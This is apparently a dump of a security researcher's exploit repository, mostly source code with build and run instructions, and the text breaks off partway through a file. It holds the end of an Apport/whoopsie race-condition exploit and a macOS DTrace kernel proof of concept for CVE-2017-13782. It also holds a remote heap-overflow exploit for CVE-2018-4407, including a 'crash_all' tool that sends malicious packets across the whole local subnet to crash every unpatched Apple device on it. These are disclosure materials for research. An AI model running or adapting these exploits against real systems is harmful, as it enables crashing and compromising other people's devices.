write_or_throw(crash_fd.get(), (const char*)mchunkhdr, sizeof(mchunkhdr)); 44 | write_or_throw(crash_fd.get(), "\n", 1); 45 | 46 | // Invalid sequence so that whoopsie will error out. 47 | write_or_throw(crash_fd.get(), "y:\n\n", 4); 48 | 49 | // whoopsie doesn't start reading the `.crash` file until we create the 50 | // corresponding `.upload` file. 51 | AutoCloseFD upload_fd( 52 | create_file( 53 | AT_FDCWD, "/var/crash/killwhoopsie.upload", S_IRWXU | S_IRWXG | S_IRWXO 54 | ) 55 | ); 56 | } catch (ErrorWithErrno& e) { 57 | int err = e.getErrno(); 58 | std::cerr << e.what() << "\n" << strerror(err) << "\n"; 59 | exit(EXIT_FAILURE); 60 | } catch (std::exception& e) { 61 | std::cerr << e.what() << "\n"; 62 | exit(EXIT_FAILURE); 63 | } 64 | 65 | exit(EXIT_SUCCESS); 66 | } 67 | -------------------------------------------------------------------------------- /Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "utils.hpp" 11 | 12 | AutoCloseFD::~AutoCloseFD() { 13 | close(fd_); 14 | } 15 | 16 | ScanDirAt::~ScanDirAt() { 17 | if (n_ >= 0) { 18 | for (int i = 0; i < n_; i++) { 19 | free(namelist_[i]); 20 | } 21 | free(namelist_); 22 | } 23 | } 24 | 25 | // Create a TCP socket and start listening. We will let the OS choose 26 | // the port number. 27 | int create_bind_and_listen_tcp() { 28 | // Create a socket for listening on the port. 29 | const int sock = 30 | socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC | SOCK_NONBLOCK, 0); 31 | if (sock < 0) { 32 | throw ErrorWithErrno("Failed to create socket."); 33 | } 34 | 35 | // Allow the port to be reused as soon as the program terminates. 36 | int one = 1; 37 | if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) { 38 | throw ErrorWithErrno("Failed to set SO_REUSEADDR."); 39 | } 40 | 41 | // Bind the port. 42 | struct sockaddr_in addr; 43 | memset(&addr, 0, sizeof(addr)); 44 | addr.sin_family = AF_INET; 45 | addr.sin_port = 0; // Ask OS to choose a port number 46 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // localhost 47 | 48 | if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { 49 | throw ErrorWithErrno("Error binding TCP socket to port."); 50 | } 51 | 52 | // Start listening. 53 | if (listen(sock, SOMAXCONN) < 0) { 54 | throw ErrorWithErrno("listen failed."); 55 | } 56 | 57 | return sock; 58 | } 59 | 60 | // Find out which port number the socket is bound to. We need this because 61 | // we asked the OS to choose the port number for us (in 62 | // `create_bind_and_listen_tcp`, above). 63 | uint16_t getportnumber(const int sock) { 64 | struct sockaddr_in sin; 65 | socklen_t len = sizeof(sin); 66 | if (getsockname(sock, (struct sockaddr *)&sin, &len) < 0) { 67 | throw ErrorWithErrno("getsockname failed."); 68 | } 69 | return ntohs(sin.sin_port); 70 | } 71 | 72 | // Add an inotify watch. 73 | int add_watch(const int inotify_fd, const char* filename, uint32_t mask) { 74 | std::cout << "adding watch for " << filename << "\n"; 75 | const int wd = inotify_add_watch(inotify_fd, filename, mask); 76 | if (wd < 0) { 77 | throw ErrorWithErrno( 78 | std::string("inotify_add_watch of ") + filename + " failed." 79 | ); 80 | } 81 | return wd; 82 | } 83 | 84 | // Create a symlink: `linkname` -> `target` 85 | // `newdirfd` is used as the current directory if `linkname` is a relative 86 | // path. 87 | void createSymlink( 88 | const char* target, const int newdirfd, const char* linkname 89 | ) { 90 | if (symlinkat(target, newdirfd, linkname) < 0) { 91 | throw ErrorWithErrno(std::string("Could not create symlink ") + linkname); 92 | } 93 | std::cout << "symlink created: " << linkname << " -> " << target << "\n"; 94 | } 95 | 96 | // Create a file. This function will throw an exception if the file already 97 | // exists. 98 | int create_file(int dirfd, const char *pathname, mode_t mode) { 99 | const int fd = 100 | openat(dirfd, pathname, O_CREAT | O_WRONLY | O_TRUNC | O_EXCL | O_CLOEXEC, mode); 101 | if (fd < 0) { 102 | throw ErrorWithErrno(std::string("Could not create ") + pathname); 103 | } 104 | return fd; 105 | } 106 | 107 | // Write the buffer to the file descriptor. Throw an exception if something 108 | // goes wrong. 109 | void write_or_throw(const int fd, const char* buf, size_t buflen) { 110 | const ssize_t n = write(fd, buf, buflen); 111 | if (n < 0) { 112 | throw ErrorWithErrno("write failed"); 113 | } 114 | if (static_cast(n) != buflen) { 115 | throw Error("incomplete write"); 116 | } 117 | } 118 | 119 | // Create a file and write the contents of `buf` to it. This function 120 | // will throw an exception if the file already exists. 121 | void create_and_write_file( 122 | int dirfd, const char *pathname, const char* buf, size_t buflen, mode_t mode 123 | ) { 124 | const AutoCloseFD fd(create_file(dirfd, pathname, mode)); 125 | write_or_throw(fd.get(), buf, buflen); 126 | std::cout << "file created: " << pathname << "\n"; 127 | } 128 | 129 | // Utility for writing enormous strings to a file. Repeatedly writes `msg` to 130 | // the file until exactly `totallen` bytes have been written. (The final copy 131 | // of `msg` might get truncated.) 132 | void write_repeated_buffer( 133 | const int fd, const char* msg, size_t msglen, size_t totallen 134 | ) { 135 | // Create a large block with 4096 copies of the message, to reduce the number 136 | // of calls to `write`. 137 | std::string block; 138 | block.reserve(msglen * 4096); 139 | for (size_t i = 0; i < 4096; i++) { 140 | block.append(msg, msglen); 141 | } 142 | 143 | const char* blockptr = block.c_str(); 144 | size_t blocksize = block.size(); 145 | size_t pos = 0; 146 | while (1) { 147 | pos += blocksize; 148 | if (pos <= totallen) { 149 | write_or_throw(fd, blockptr, blocksize); 150 | } else { 151 | // The block is too big. So we need to rewind and write out a 152 | // smaller number of bytes. 153 | pos -= blocksize; 154 | write_or_throw(fd, blockptr, totallen - pos); 155 | // We are done. 156 | return; 157 | } 158 | } 159 | } 160 | 161 | // Use `poll` to wait for the file descriptor to be readable. 162 | void fd_wait_for_read(const int inotify_fd) { 163 | const nfds_t nfds = 1; 164 | struct pollfd pollfds[1] = {0}; 165 | pollfds[0].fd = inotify_fd; 166 | pollfds[0].events = POLLIN; 167 | 168 | while (1) { 169 | const int poll_num = poll(pollfds, nfds, -1); 170 | if (unlikely(poll_num < 0)) { 171 | const int err = errno; 172 | if (err == EINTR) { 173 | continue; 174 | } 175 | throw ErrorWithErrno("poll failed"); 176 | } 177 | 178 | if (likely(poll_num > 0)) { 179 | if (likely(pollfds[0].revents & POLLIN)) { 180 | break; 181 | } 182 | } 183 | } 184 | } 185 | 186 | // Read all the available input on the file descriptor. (We use this to 187 | // reset inotify after it has reported an event.) 188 | void drain_fd(const int fd) { 189 | char buf[4096]; 190 | while (read(fd, buf, sizeof(buf)) > 0); 191 | } 192 | 193 | // Kill a child process and wait for it. 194 | void kill_and_wait(const pid_t cpid, const int sig) { 195 | if (kill(cpid, sig) < 0) { 196 | throw ErrorWithErrno("kill() failed"); 197 | } 198 | if (waitpid(cpid, 0, 0) < 0) { 199 | throw ErrorWithErrno("waitpid() failed"); 200 | } 201 | } 202 | 203 | // Search `/proc/*/cmdline` to find the PID of a running program. 204 | pid_t search_pid(const char *cmdline, size_t cmdline_len) { 205 | AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); 206 | if (procdir_fd.get() < 0) { 207 | throw ErrorWithErrno("Could not open /proc."); 208 | } 209 | ScanDirAt scanDir(procdir_fd.get()); 210 | 211 | const int n = scanDir.size(); 212 | for (int i = 0; i < n; i++) { 213 | const char* subdir_name = scanDir.get(i); 214 | AutoCloseFD subdir_fd( 215 | openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) 216 | ); 217 | if (procdir_fd.get() < 0) { 218 | continue; 219 | } 220 | AutoCloseFD cmdline_fd( 221 | openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) 222 | ); 223 | if (cmdline_fd.get() < 0) { 224 | continue; 225 | } 226 | 227 | // Check if the command line matches. 228 | char buf[0x1000]; 229 | ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); 230 | if (r < 0 || static_cast(r) < cmdline_len) { 231 | continue; 232 | } 233 | if (memcmp(buf, cmdline, cmdline_len) == 0) { 234 | // The name of the sub-directory is the PID. 235 | return atoi(subdir_name); 236 | } 237 | } 238 | return -1; 239 | } 240 | -------------------------------------------------------------------------------- /Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define likely(x) __builtin_expect(!!(x), 1) 6 | #define unlikely(x) __builtin_expect(!!(x), 0) 7 | 8 | // Exception class. Caught in main(). 9 | class Error : public std::exception { 10 | std::string msg_; 11 | 12 | public: 13 | explicit Error(const char* msg) : msg_(msg) {} 14 | explicit Error(std::string&& msg) : msg_(std::move(msg)) {} 15 | 16 | const char* what() const noexcept override { 17 | return msg_.c_str(); 18 | } 19 | }; 20 | 21 | // Exception class for system errors that include an errno. Caught in 22 | // main(). 23 | class ErrorWithErrno : public Error { 24 | const int err_; 25 | 26 | public: 27 | explicit ErrorWithErrno(const char* msg) : Error(msg), err_(errno) {} 28 | explicit ErrorWithErrno(std::string&& msg) : Error(std::move(msg)), err_(errno) {} 29 | 30 | int getErrno() const { return err_; } 31 | }; 32 | 33 | // This class automatically closes the file descriptor in its destructor. 34 | class AutoCloseFD { 35 | const int fd_; 36 | 37 | AutoCloseFD() : fd_(-1) {} 38 | 39 | public: 40 | explicit AutoCloseFD(const int fd) : fd_(fd) {} 41 | ~AutoCloseFD(); 42 | 43 | int get() const { return fd_; } 44 | }; 45 | 46 | // Automatically free a pointer that was malloc'ed. 47 | template 48 | class AutoFree { 49 | T* p_; 50 | 51 | public: 52 | explicit AutoFree(T* p) : p_(p) {} 53 | ~AutoFree() { free(p_); } 54 | 55 | T* get() const { return p_; } 56 | }; 57 | 58 | // This class creates an array containing the names of all the files in a 59 | // directory. It does this by running `scandirat` in its constructor. 60 | class ScanDirAt { 61 | struct dirent **namelist_; 62 | const int n_; 63 | 64 | public: 65 | explicit ScanDirAt(int fd) 66 | : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) 67 | { 68 | if (n_ < 0) { 69 | throw ErrorWithErrno("ScanDirAt failed."); 70 | } 71 | } 72 | 73 | ~ScanDirAt(); 74 | 75 | int size() const { return n_; } 76 | 77 | const char* get(int i) const { return namelist_[i]->d_name; } 78 | }; 79 | 80 | int create_bind_and_listen_tcp(); 81 | uint16_t getportnumber(const int sock); 82 | int add_watch(const int inotify_fd, const char* filename, uint32_t mask); 83 | void createSymlink(const char* target, const int newdirfd, const char* linkname); 84 | int create_file(int dirfd, const char *pathname, mode_t mode); 85 | void write_or_throw(const int fd, const char* buf, size_t buflen); 86 | void create_and_write_file( 87 | int dirfd, const char *pathname, const char* buf, size_t size, mode_t mode 88 | ); 89 | void write_repeated_buffer( 90 | const int fd, const char* msg, size_t msglen, size_t totallen 91 | ); 92 | void fd_wait_for_read(const int inotify_fd); 93 | void drain_fd(const int fd); 94 | void kill_and_wait(const pid_t cpid, const int sig); 95 | pid_t search_pid(const char *cmdline, size_t cmdline_len); 96 | -------------------------------------------------------------------------------- /apple/darwin-xnu/DTrace/CVE-2017-13782/README.md: -------------------------------------------------------------------------------- 1 | For more information about this exploit PoC, see the [blog post](https://lgtm.com/blog/apple_xnu_dtrace_CVE-2017-13782). 2 | 3 | This exploit PoC is designed for macOS High Sierra version 10.13. Apple released a patch on [Oct 31, 2017](https://support.apple.com/en-us/HT208221). 4 | 5 | To run the POC, first compile and run the program (on a Mac): 6 | 7 | ``` 8 | cc -o cve cve-2017-13782-poc.c 9 | ./cve 10 | ``` 11 | 12 | Then, from another terminal, run the following command: 13 | 14 | ``` 15 | sudo dtrace -n 'profile-97/execname == "cve"/{ jstack(); }' 16 | ``` 17 | -------------------------------------------------------------------------------- /apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright Kevin Backhouse / Semmle Ltd (2017) 3 | * License: Apache License 2.0 4 | * 5 | * For more information: https://lgtm.com/blog/apple_xnu_dtrace_cve-2017-13782 6 | */ 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | // Some definitions so that we can include dtrace.h and dtrace_impl.h 15 | // without compile errors. 16 | #define KERNEL 17 | 18 | typedef u_int64_t user_addr_t; 19 | typedef int boolean_t; 20 | typedef unsigned int uint_t; 21 | typedef unsigned long uintptr_t; 22 | typedef struct ucred cred_t; 23 | typedef uintptr_t cyclic_id_t; 24 | typedef struct vmem vmem_t; 25 | typedef struct kmem_cache kmem_cache_t; 26 | typedef uint_t major_t; 27 | typedef uint_t minor_t; 28 | struct proc; 29 | typedef struct proc *proc_t; 30 | typedef struct _kthread kthread_t; 31 | typedef unsigned int model_t; 32 | typedef uintptr_t pc_t; 33 | struct regs; 34 | 35 | typedef void x86_saved_state_t; // real definition can be found in osfmk/mach/i386/thread_status.h 36 | 37 | typedef struct kmod_info kmod_info_t; // real definition can be found in osfmk/mach/kmod.h 38 | 39 | #define offsetof(type, field) __builtin_offsetof(type, field) 40 | 41 | #include "dtrace.h" // From the XNU source code 42 | #include "dtrace_impl.h" // From the XNU source code 43 | 44 | typedef struct { 45 | char kev_woz_ere[13]; 46 | char format[11]; 47 | char dtrace[7]; 48 | char helper[7]; 49 | char ustack[7]; 50 | char empty[1]; 51 | char kev_name[9]; 52 | } program_strtab_t; 53 | 54 | static const program_strtab_t program_strtab = { 55 | "kev woz ere", 56 | "kev_format", 57 | "dtrace", 58 | "helper", 59 | "ustack", 60 | "", 61 | "kev_name" 62 | }; 63 | 64 | dof_hdr_t *pack_difo(dtrace_difo_t* difo) { 65 | dof_hdr_t *dof = 0; 66 | dof_sec_t *sec = 0; 67 | dof_ecbdesc_t ecb; 68 | dof_probedesc_t probe; 69 | dof_actdesc_t act; 70 | const size_t difohdr_sz = sizeof(dof_difohdr_t) + 3 * sizeof(dof_secidx_t); 71 | dof_difohdr_t *difohdr = 0; 72 | const uint32_t secnum = 8; 73 | uint64_t secoff = 0; 74 | uint64_t dofs_offset = 0; 75 | uint64_t len = 0; 76 | size_t i = 0; 77 | 78 | static struct { 79 | int section; 80 | char* buffer; 81 | uint_t bufsize; 82 | int entsize; 83 | int align; 84 | const char *msg; 85 | } info[5]; 86 | 87 | memset(&ecb, 0, sizeof(ecb)); 88 | memset(&probe, 0, sizeof(probe)); 89 | memset(&act, 0, sizeof(act)); 90 | 91 | difohdr = malloc(difohdr_sz); 92 | memset(difohdr, 0, difohdr_sz); 93 | 94 | info[0].section = DOF_SECT_STRTAB; 95 | info[0].buffer = (char*)&program_strtab; 96 | info[0].bufsize = sizeof(program_strtab); 97 | info[0].entsize = 0; 98 | info[0].align = sizeof(char); 99 | info[0].msg = "string table"; 100 | 101 | info[1].section = DOF_SECT_ECBDESC; 102 | info[1].buffer = (char*)&ecb; 103 | info[1].bufsize = sizeof(ecb); 104 | info[1].entsize = 0; 105 | info[1].align = sizeof(uint64_t); 106 | info[1].msg = "ecbdesc"; 107 | 108 | info[2].section = DOF_SECT_PROBEDESC; 109 | info[2].buffer = (char*)&probe; 110 | info[2].bufsize = sizeof(probe); 111 | info[2].entsize = 0; 112 | info[2].align = sizeof(dof_secidx_t); 113 | info[2].msg = "probedesc"; 114 | 115 | info[3].section = DOF_SECT_ACTDESC; 116 | info[3].buffer = (char*)&act; 117 | info[3].bufsize = sizeof(act); 118 | info[3].entsize = sizeof(dof_actdesc_t); 119 | info[3].align = sizeof(uint64_t); 120 | info[3].msg = "actdesc"; 121 | 122 | info[4].section = DOF_SECT_DIFOHDR; 123 | info[4].buffer = (char*)difohdr; 124 | info[4].bufsize = difohdr_sz; 125 | info[4].entsize = 0; 126 | info[4].align = sizeof (dof_secidx_t); 127 | info[4].msg = "difohdr"; 128 | 129 | info[5].section = DOF_SECT_DIF; 130 | info[5].buffer = (char*)difo->dtdo_buf; 131 | info[5].bufsize = difo->dtdo_len * sizeof(dif_instr_t); 132 | info[5].entsize = sizeof(dif_instr_t); 133 | info[5].align = sizeof(dif_instr_t); 134 | info[5].msg = "DIF section"; 135 | 136 | info[6].section = DOF_SECT_INTTAB; 137 | info[6].buffer = (char*)difo->dtdo_inttab; 138 | info[6].bufsize = difo->dtdo_intlen * sizeof (uint64_t); 139 | info[6].entsize = sizeof(uint64_t); 140 | info[6].align = sizeof(uint64_t); 141 | info[6].msg = "integer table"; 142 | 143 | info[7].section = DOF_SECT_VARTAB; 144 | info[7].buffer = (char*)difo->dtdo_vartab; 145 | info[7].bufsize = difo->dtdo_varlen * sizeof (dtrace_difv_t); 146 | info[7].entsize = sizeof(dtrace_difv_t); 147 | info[7].align = sizeof(uint_t); 148 | info[7].msg = "variable table"; 149 | 150 | ecb.dofe_probes = 2; // info[2] 151 | ecb.dofe_pred = DOF_SECIDX_NONE; // no predicate 152 | ecb.dofe_actions = 3; // info[3] 153 | ecb.dofe_uarg = 0xDEADBEEF; // optional argument 154 | 155 | probe.dofp_strtab = 0; // info[0] 156 | probe.dofp_provider = offsetof(program_strtab_t, dtrace); 157 | probe.dofp_mod = offsetof(program_strtab_t, helper); 158 | probe.dofp_func = offsetof(program_strtab_t, ustack); 159 | probe.dofp_name = offsetof(program_strtab_t, empty); 160 | probe.dofp_id = 0; 161 | 162 | act.dofa_difo = 4; // info[4] 163 | act.dofa_strtab = 0; // info[0] 164 | act.dofa_kind = DTRACEACT_DIFEXPR; 165 | act.dofa_ntuple = 0; // I think this is not used by ustack. 166 | act.dofa_arg = offsetof(program_strtab_t, format); // For some reason, this has to be a string, even though it is never used. 167 | act.dofa_uarg = 0xDEADBEEF; // unused 168 | 169 | difohdr->dofd_rtype = difo->dtdo_rtype; 170 | difohdr->dofd_links[0] = 0; // info[0] 171 | difohdr->dofd_links[1] = 5; // info[5] 172 | difohdr->dofd_links[2] = 6; // info[6] 173 | difohdr->dofd_links[3] = 7; // info[7] 174 | 175 | // Calculate the total size. 176 | secoff = sizeof(dof_hdr_t); 177 | dofs_offset = secoff; 178 | len = 0; 179 | for (i = 0; i < secnum; i++) { 180 | dofs_offset += roundup(sizeof(dof_sec_t), sizeof(uint64_t)); 181 | len += roundup(info[i] .bufsize, sizeof(uint64_t)); 182 | } 183 | len += dofs_offset; 184 | 185 | dof = malloc(len); 186 | memset(dof, 0, len); 187 | dof->dofh_ident[DOF_ID_MAG0] = DOF_MAG_MAG0; 188 | dof->dofh_ident[DOF_ID_MAG1] = DOF_MAG_MAG1; 189 | dof->dofh_ident[DOF_ID_MAG2] = DOF_MAG_MAG2; 190 | dof->dofh_ident[DOF_ID_MAG3] = DOF_MAG_MAG3; 191 | 192 | dof->dofh_ident[DOF_ID_MODEL] = DOF_MODEL_NATIVE; 193 | dof->dofh_ident[DOF_ID_ENCODING] = DOF_ENCODE_NATIVE; 194 | dof->dofh_ident[DOF_ID_VERSION] = DOF_VERSION; 195 | dof->dofh_ident[DOF_ID_DIFVERS] = DIF_VERSION; 196 | dof->dofh_ident[DOF_ID_DIFIREG] = DIF_DIR_NREGS; 197 | dof->dofh_ident[DOF_ID_DIFTREG] = DIF_DTR_NREGS; 198 | 199 | dof->dofh_flags = 0; 200 | dof->dofh_hdrsize = sizeof(dof_hdr_t); 201 | dof->dofh_secsize = sizeof(dof_sec_t); 202 | dof->dofh_secnum = secnum; 203 | dof->dofh_secoff = secoff; 204 | dof->dofh_loadsz = len; 205 | dof->dofh_filesz = len; 206 | dof->dofh_pad = 0; 207 | 208 | for (i = 0; i < secnum; i++) { 209 | sec = (dof_sec_t *)((uintptr_t)dof + secoff); 210 | sec->dofs_type = info[i].section; 211 | sec->dofs_align = info[i].align; 212 | sec->dofs_flags = DOF_SECF_LOAD; 213 | sec->dofs_entsize = info[i].entsize; 214 | sec->dofs_offset = dofs_offset; 215 | sec->dofs_size = info[i].bufsize; 216 | memcpy((void*)((uintptr_t)dof + dofs_offset), info[i].buffer, info[i].bufsize); 217 | secoff += roundup(sizeof(dof_sec_t), sizeof(uint64_t)); 218 | dofs_offset += roundup(info[i].bufsize, sizeof(uint64_t)); 219 | } 220 | 221 | return (dof); 222 | } 223 | 224 | dtrace_difo_t* mkprog() { 225 | int i; 226 | size_t pc = 0; 227 | size_t ninstrs = 133; 228 | dif_instr_t *instrs; 229 | dtrace_difo_t *difo = malloc(sizeof(dtrace_difo_t)); 230 | memset(difo, 0, sizeof(dtrace_difo_t)); 231 | instrs = malloc(ninstrs * sizeof(dif_instr_t));; 232 | difo->dtdo_buf = instrs; 233 | difo->dtdo_len = ninstrs; 234 | difo->dtdo_strtab = (char*)&program_strtab; 235 | difo->dtdo_strlen = sizeof(program_strtab); 236 | difo->dtdo_rtype.dtdt_kind = DIF_TYPE_STRING; 237 | 238 | // r1 = 0xFFFFFFFFFFFFFFFF 239 | instrs[pc++] = DIF_INSTR_FMT(DIF_OP_NOT,0,0,1); 240 | 241 | // r1 = 1 242 | instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SUB,0,1,1); 243 | 244 | // r2 = 2 245 | instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SLL,1,1,2); 246 | 247 | for (i = 0; i < 64; i++) { 248 | // r2 *= 2 249 | instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SLL,2,1,2); 250 | 251 | // Call vulnerable instruction DIF_OP_LDGA. 252 | // r3 = LDGA(0, r2) 253 | instrs[pc++] = DIF_INSTR_FMT(DIF_OP_LDGA,0,2,3); 254 | } 255 | 256 | // Attempt to write a string in the ustack output. Unfortunately, 257 | // ustack helpers are broken in macOS, so this does not work. 258 | // r4 = "kev woz ere" 259 | instrs[pc++] = 260 | DIF_INSTR_SETS(offsetof(program_strtab_t, kev_woz_ere), 4); 261 | 262 | // return r4 263 | instrs[pc++] = DIF_INSTR_FMT(DIF_OP_RET,0,0,4); 264 | 265 | // Check that we allocated the correct number of instructions. 266 | if (pc != ninstrs) { 267 | printf("wrong number of instructions: %lu != %lu\n", pc, ninstrs); 268 | exit(1); 269 | } 270 | 271 | return difo; 272 | } 273 | 274 | void register_helper() { 275 | int fd, err; 276 | dtrace_difo_t *difo; 277 | dof_hdr_t *dof; 278 | dof_ioctl_data_t* ioctl_data = 0; 279 | int rv = 1; 280 | int result; 281 | 282 | ioctl_data = malloc(sizeof(dof_ioctl_data_t)); 283 | difo = mkprog(); 284 | dof = pack_difo(difo); 285 | 286 | ioctl_data->dofiod_count = 1; 287 | strcpy(ioctl_data->dofiod_helpers[0].dofhp_mod, "helper"); 288 | ioctl_data->dofiod_helpers[0].dofhp_addr = (uint64_t)dof; 289 | ioctl_data->dofiod_helpers[0].dofhp_dof = (uint64_t)dof; 290 | 291 | fd = open("/dev/dtracehelper", O_RDWR); 292 | err = errno; 293 | printf ("open /dev/dtracehelper %d %d\n\n", fd, err); 294 | fcntl(fd, F_SETFD, FD_CLOEXEC); 295 | 296 | rv = 1; 297 | result = ioctl(fd, DTRACEHIOC_ADDDOF, &ioctl_data, &rv); 298 | err = errno; 299 | 300 | printf("dofhp_dof = %llu\n", ioctl_data->dofiod_helpers[0].dofhp_dof); 301 | printf ("ioctl %d %d\n", result, err); 302 | printf("rv = %d\n\n", rv); 303 | } 304 | 305 | int main() { 306 | register_helper(); 307 | 308 | // Infinite loop to keep the program running while we trigger the 309 | // bug from another terminal. 310 | while (1); 311 | 312 | return 0; 313 | } 314 | -------------------------------------------------------------------------------- /apple/darwin-xnu/icmp_error_CVE-2018-4407/.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | crash_all 3 | direct_attack 4 | -------------------------------------------------------------------------------- /apple/darwin-xnu/icmp_error_CVE-2018-4407/Makefile: -------------------------------------------------------------------------------- 1 | all: direct_attack crash_all 2 | 3 | direct_attack: direct_attack.o send_packet.o utils.o 4 | gcc -O2 -Wall direct_attack.o send_packet.o utils.o -o direct_attack 5 | 6 | crash_all: crash_all.o utils.o 7 | gcc -O2 -Wall crash_all.o send_packet.o utils.o -o crash_all 8 | 9 | direct_attack.o: direct_attack.c send_packet.h utils.h 10 | gcc -O2 -Wall -c direct_attack.c 11 | 12 | crash_all.o: crash_all.c send_packet.h utils.h 13 | gcc -O2 -Wall -c crash_all.c 14 | 15 | send_packet.o: send_packet.c send_packet.h utils.h 16 | gcc -O2 -Wall -c send_packet.c 17 | 18 | utils.o: utils.c utils.h 19 | gcc -O2 -Wall -c utils.c 20 | 21 | clean: 22 | rm -f *~ *.o direct_attack crash_all 23 | -------------------------------------------------------------------------------- /apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md: -------------------------------------------------------------------------------- 1 | ## Heap buffer overflow in icmp_error (CVE-2018-4407) 2 | 3 | Proof-of-concept exploit for a remotely triggerable heap buffer overflow vulnerability in iOS 11.4.1 and macOS 10.13.6. This exploit can be used to crash any vulnerable iOS or macOS device that is connected to the same network as the attacker's computer. The vulnerability can be triggered without any user interaction on the victim's device. The exploit involves sending a TCP packet with non-zero options in the IP and TCP headers. It is possible that some routers or switches will refuse to deliver such packets, but it has worked for me on all the home and office networks that I have tried it on. However, I have found that it is not usually possible to send the malicious packet across the internet. 4 | 5 | For more information about the vulnerability, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407). 6 | 7 | The buffer overflow is in this code [bsd/netinet/ip_icmp.c:339](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L339): 8 | 9 | ```c 10 | m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip); 11 | ``` 12 | 13 | The exploit sets `icmplen == 120`, which is far too big for the destination buffer. The buffer is overwritten with garbage, so this causes the kernel to crash. 14 | 15 | ## Usage 16 | 17 | The exploit code is designed to be built and run on Linux. The code uses a raw socket to send the malicious packet, because we need to have complete control over the contents of the IP and TCP headers. On Linux, root privileges are required to open a raw socket. Therefore, `sudo` is required to run the PoC. But this is on the attacker's computer, not the victim's, so it does not mitigate the severity of the vulnerability. The code does not do anything malicious to the Linux machine: the root privileges are only used to open a raw socket. 18 | 19 | To build the PoC: 20 | 21 | ```bash 22 | make 23 | ``` 24 | 25 | This builds two versions of the PoC: `direct_attack` and `crash_all`. The former requires you to supply the IP addresses of the target machines, like this: 26 | 27 | ```bash 28 | sudo ./direct_attack 192.168.0.8 192.168.0.12 29 | ``` 30 | 31 | The latter does not require you to list the IP addresses: 32 | 33 | ```bash 34 | sudo ./crash_all 35 | ``` 36 | 37 | Use `crash_all` with care: it will crash any unpatched Apple device that is connected to the same network as you. 38 | 39 | Alternatively you can give the `CAP_NET_RAW` capability to the binaries instead of using them under full root privileges: 40 | 41 | ```bash 42 | sudo setcap cap_net_raw=ep crash_all 43 | sudo setcap cap_net_raw=ep direct_attack 44 | ``` 45 | 46 | Some libs are required to use setcap (libcap-ng-utils, libcap-progs, libcap2) 47 | -------------------------------------------------------------------------------- /apple/darwin-xnu/icmp_error_CVE-2018-4407/crash_all.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "send_packet.h" 3 | 4 | // Find all the network interfaces that we are attached to and send 5 | // out malicious packets to similar IP addresses. For example, if 6 | // one of our IP addresses is 192.168.0.13, then we will send malicious 7 | // packets to all addresses in the range 192.168.0.1-255. 8 | int main(int argc, char *argv[]) 9 | { 10 | struct ifaddrs *ifaddr; 11 | 12 | // Create a raw socket for sending the malicious packets. 13 | const int sock = create_raw_socket(); 14 | if (sock < 0) { 15 | printf("Failed to create socket. Try running with sudo.\n"); 16 | return 1; 17 | } 18 | 19 | // Get the network interfaces that we are attached to. 20 | if (getifaddrs(&ifaddr) < 0) { 21 | printf("getifaddrs failed"); 22 | return 1; 23 | } 24 | 25 | // Loop over the network interfaces. 26 | struct ifaddrs *ifa; 27 | for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) { 28 | if (ifa->ifa_addr == NULL) 29 | continue; 30 | 31 | if (ifa->ifa_addr->sa_family == AF_INET) { 32 | struct sockaddr_in *addr = (struct sockaddr_in *)ifa->ifa_addr; 33 | printf("%s: %s\n", ifa->ifa_name, inet_ntoa(addr->sin_addr)); 34 | 35 | // Send out malicious packets to 253 similar IP addresses, by 36 | // cycling through the final byte of the address. We skip values 37 | // 0, 1, and 255 because they are not valid. 38 | const uint16_t dst_port = ntohs(22); 39 | const uint16_t src_port = ntohs(1234); 40 | const uint32_t src = ntohl(addr->sin_addr.s_addr); 41 | const uint32_t dst = src & 0xFFFFFF00; 42 | size_t i; 43 | for (i = 2; i < 255; i++) { 44 | const int r0 = send_packet( 45 | sock, htonl(src), src_port, htonl(dst | i), dst_port, 0, 0, 1, 0 46 | ); 47 | if (r0 < 0) { 48 | printf("send failed %s %ld\n", ifa->ifa_name, i); 49 | break; 50 | } 51 | } 52 | } 53 | } 54 | 55 | freeifaddrs(ifaddr); 56 | 57 | const int r1 = close(sock); 58 | if (r1 < 0) { 59 | printf("could not close socket.\n"); 60 | return -1; 61 | } 62 | 63 | return 0; 64 | } 65 | -------------------------------------------------------------------------------- /apple/darwin-xnu/icmp_error_CVE-2018-4407/direct_attack.c: -------------------------------------------------------------------------------- 1 | #include "send_packet.h" 2 | 3 | int main(int argc, char* argv[]) 4 | { 5 | if (argc <= 1) { 6 | const char* progname = "a.out"; // Default program name 7 | if (argc > 0) { 8 | progname = argv[0]; 9 | } 10 | printf("Usage: sudo %s ...\n", progname); 11 | printf("Example:\n"); 12 | printf(" sudo %s 192.168.0.8 192.168.0.12\n", progname); 13 | return 1; 14 | } 15 | 16 | const uint32_t src = 0; // 0net_addr(argv[1]); 17 | const 